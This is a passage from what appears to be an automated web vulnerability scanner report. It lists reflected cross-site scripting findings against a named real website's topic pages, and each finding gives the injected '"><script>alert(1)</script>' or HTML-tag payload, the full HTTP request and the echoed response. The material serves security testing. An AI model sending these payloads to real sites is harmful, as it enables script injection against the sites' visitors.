Date: Thu, 10 Mar 2011 17:18:12 GMT
Content-Length: 22510
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic31ce5"><a>986bf2d6b23 topic31ce5">
...[SNIP]...

2.831. http://www.rodale.com/topic/sexual-health [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/sexual-health

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a9a4a"><a>69605e214e5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/sexual-healtha9a4a"><a>69605e214e5 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:48 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:50 GMT
Date: Thu, 10 Mar 2011 17:18:50 GMT
Content-Length: 22489
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-sexual-healtha9a4a"><a>69605e214e5 node node-958">
...[SNIP]...

2.832. http://www.rodale.com/topic/sexual-health [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/sexual-health

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f704b"><script>alert(1)</script>d387dcc4f3a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/sexual-health?f704b"><script>alert(1)</script>d387dcc4f3a=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:08 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:10 GMT
Date: Thu, 10 Mar 2011 17:18:10 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 33152

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/sexual-health?f704b"><script>alert(1)</script>d387dcc4f3a=1" title="Register" class="moreLink">
...[SNIP]...

2.833. http://www.rodale.com/topic/skin-cancer [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/skin-cancer

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4966d"><a>a5e13615c09 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic4966d"><a>a5e13615c09/skin-cancer HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:12 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:48:18 GMT
Date: Thu, 10 Mar 2011 17:18:19 GMT
Content-Length: 22504
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic4966d"><a>a5e13615c09 topic4966d">
...[SNIP]...

2.834. http://www.rodale.com/topic/skin-cancer [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/skin-cancer

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 31646"><a>f0d51438990 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/skin-cancer31646"><a>f0d51438990 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:10 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:11 GMT
Date: Thu, 10 Mar 2011 17:19:11 GMT
Content-Length: 22483
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-skin-cancer31646"><a>f0d51438990 node node-958">
...[SNIP]...

2.835. http://www.rodale.com/topic/skin-cancer [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/skin-cancer

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c4b7e"><script>alert(1)</script>b63d8faeb5b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/skin-cancer?c4b7e"><script>alert(1)</script>b63d8faeb5b=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:10 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:12 GMT
Date: Thu, 10 Mar 2011 17:18:12 GMT
Content-Length: 31402
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/skin-cancer?c4b7e"><script>alert(1)</script>b63d8faeb5b=1" title="Register" class="moreLink">
...[SNIP]...

2.836. http://www.rodale.com/topic/skin-care [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/skin-care

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2b32b"><a>b418689b846 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic2b32b"><a>b418689b846/skin-care HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:37 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:41 GMT
Date: Thu, 10 Mar 2011 17:18:41 GMT
Content-Length: 22498
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic2b32b"><a>b418689b846 topic2b32b">
...[SNIP]...

2.837. http://www.rodale.com/topic/skin-care [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/skin-care

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 86731"><a>b57d7c25302 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/skin-care86731"><a>b57d7c25302 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:11 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:49:12 GMT
Date: Thu, 10 Mar 2011 17:19:13 GMT
Content-Length: 22477
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-skin-care86731"><a>b57d7c25302 node node-958">
...[SNIP]...

2.838. http://www.rodale.com/topic/skin-care [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/skin-care

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6c3d1"><script>alert(1)</script>1643a0efd60 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/skin-care?6c3d1"><script>alert(1)</script>1643a0efd60=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:35 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:36 GMT
Date: Thu, 10 Mar 2011 17:18:36 GMT
Content-Length: 31186
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/skin-care?6c3d1"><script>alert(1)</script>1643a0efd60=1" title="Register" class="moreLink">
...[SNIP]...

2.839. http://www.rodale.com/topic/sleep [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/sleep

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4073e"><a>83914495b2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic4073e"><a>83914495b2/sleep HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:20 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:48:21 GMT
Date: Thu, 10 Mar 2011 17:18:22 GMT
Content-Length: 22482
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic4073e"><a>83914495b2 topic4073e">
...[SNIP]...

2.840. http://www.rodale.com/topic/sleep [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/sleep

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b0b4f"><a>815892fb1da was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/sleepb0b4f"><a>815892fb1da HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:48 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:52 GMT
Date: Thu, 10 Mar 2011 17:18:52 GMT
Content-Length: 22465
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-sleepb0b4f"><a>815892fb1da node node-958">
...[SNIP]...

2.841. http://www.rodale.com/topic/sleep [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/sleep

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 12633"><script>alert(1)</script>428056b2620 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/sleep?12633"><script>alert(1)</script>428056b2620=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:19 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:48:19 GMT
Date: Thu, 10 Mar 2011 17:18:20 GMT
Content-Length: 32468
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/sleep?12633"><script>alert(1)</script>428056b2620=1" title="Register" class="moreLink">
...[SNIP]...

2.842. http://www.rodale.com/topic/small-space-and-urban-gardening [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/small-space-and-urban-gardening

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3393c"><a>89f9bf47531 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic3393c"><a>89f9bf47531/small-space-and-urban-gardening HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:29 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:48:35 GMT
Date: Thu, 10 Mar 2011 17:18:36 GMT
Content-Length: 22564
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic3393c"><a>89f9bf47531 topic3393c">
...[SNIP]...

2.843. http://www.rodale.com/topic/small-space-and-urban-gardening [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/small-space-and-urban-gardening

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7bd66"><a>30a1361eedb was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/small-space-and-urban-gardening7bd66"><a>30a1361eedb HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:11 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:13 GMT
Date: Thu, 10 Mar 2011 17:19:13 GMT
Content-Length: 22543
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-small-space-and-urban-gardening7bd66"><a>30a1361eedb node node-958">
...[SNIP]...

2.844. http://www.rodale.com/topic/small-space-and-urban-gardening [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/small-space-and-urban-gardening

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4ef77"><script>alert(1)</script>ffbc6eb7730 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/small-space-and-urban-gardening?4ef77"><script>alert(1)</script>ffbc6eb7730=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:22 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:28 GMT
Date: Thu, 10 Mar 2011 17:18:28 GMT
Content-Length: 31313
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/small-space-and-urban-gardening?4ef77"><script>alert(1)</script>ffbc6eb7730=1" title="Register" class="moreLink">
...[SNIP]...

2.845. http://www.rodale.com/topic/smoking [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/smoking

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bcc62"><a>8c33eb48d9e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicbcc62"><a>8c33eb48d9e/smoking HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:34 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:35 GMT
Date: Thu, 10 Mar 2011 17:18:35 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicbcc62"><a>8c33eb48d9e topicbcc62">
...[SNIP]...

2.846. http://www.rodale.com/topic/smoking [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/smoking

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 548bc"><a>6b5ecbe00a2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/smoking548bc"><a>6b5ecbe00a2 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:00 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:01 GMT
Date: Thu, 10 Mar 2011 17:19:01 GMT
Content-Length: 22471
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-smoking548bc"><a>6b5ecbe00a2 node node-958">
...[SNIP]...

2.847. http://www.rodale.com/topic/smoking [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/smoking

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7b1d4"><script>alert(1)</script>da8d9e01eb6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/smoking?7b1d4"><script>alert(1)</script>da8d9e01eb6=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:32 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:48:33 GMT
Date: Thu, 10 Mar 2011 17:18:34 GMT
Content-Length: 31234
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/smoking?7b1d4"><script>alert(1)</script>da8d9e01eb6=1" title="Register" class="moreLink">
...[SNIP]...

2.848. http://www.rodale.com/topic/social-support [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/social-support

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f52e8"><a>4e5c2fd6677 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

